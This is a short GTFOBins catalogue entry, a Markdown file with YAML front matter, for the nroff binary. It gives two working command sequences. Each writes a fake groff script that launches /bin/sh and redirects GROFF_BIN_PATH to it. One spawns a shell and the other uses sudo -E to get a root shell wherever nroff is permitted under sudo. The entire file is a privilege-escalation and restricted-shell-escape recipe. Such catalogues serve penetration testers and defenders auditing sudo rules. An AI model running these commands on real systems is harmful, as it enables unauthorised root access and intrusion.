GTFOBins.github.io/_gtfobins/nroff.md
2020-03-17 19:38:41 +01:00

18 lines
386 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
GROFF_BIN_PATH=$TF nroff
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
sudo -E GROFF_BIN_PATH=$TF nroff
---